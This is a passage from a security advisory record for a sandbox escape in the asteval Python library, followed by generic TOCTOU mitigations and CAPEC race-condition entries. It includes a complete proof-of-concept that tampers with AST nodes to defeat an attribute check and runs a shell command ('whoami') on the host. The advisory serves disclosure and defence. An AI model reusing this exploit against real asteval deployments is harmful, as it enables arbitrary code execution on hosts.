vararg\n self.varkws = varkws\n self.lineno = lineno\n self.__ininit__ = False\n```\n\nSince the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.\n\nThe exploit works as follows:\n\n1. **The Time of Check, Time of Use (TOCTOU) Gadget:**\n\n In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:\n\n ```python\n unsafe = (node.attr in UNSAFE_ATTRS or\n (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n ```\n\n2. **Exploiting the TOCTOU Gadget:**\n\n An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:\n \n - It replaces the value of `node.attr` with the string `\"__getattribute__\"` and returns `False`.\n - Thus, when `node.attr.startswith(\u0027__\u0027)` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.\n - However, by that time, `node.attr` has been changed to `\"__getattribute__\"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\nga_str = \"__getattribute__\"\ndef lender():\n a\n b\ndef pwn():\n ga = lender.dontcare\n init = ga(\"__init__\")\n ga = init.dontcare\n globals = ga(\"__globals__\")\n builtins = globals[\"__builtins__\"]\n importer = builtins[\"__import__\"]\n importer(\"os\").system(\"whoami\")\n\ndef startswith1(str):\n # Replace the attr on the targeted AST node with \"__getattribute__\"\n pwn.body[0].value.attr = ga_str\n return False \n\ndef startswith2(str):\n pwn.body[2].value.attr = ga_str\n return False \n\nn1 = lender.body[0]\nn1.startswith = startswith1\npwn.body[0].value.attr = n1\n\nn2 = lender.body[1]\nn2.startswith = startswith2\npwn.body[2].value.attr = n2\n\npwn()\n\"\"\"\naeval(code)\n```",
"id": "GHSA-vp47-9734-prjw",
"modified": "2025-01-23T22:33:48Z",
"published": "2025-01-23T22:33:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/security/advisories/GHSA-vp47-9734-prjw"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
},
{
"type": "PACKAGE",
"url": "https://github.com/lmfit/asteval"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape"
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.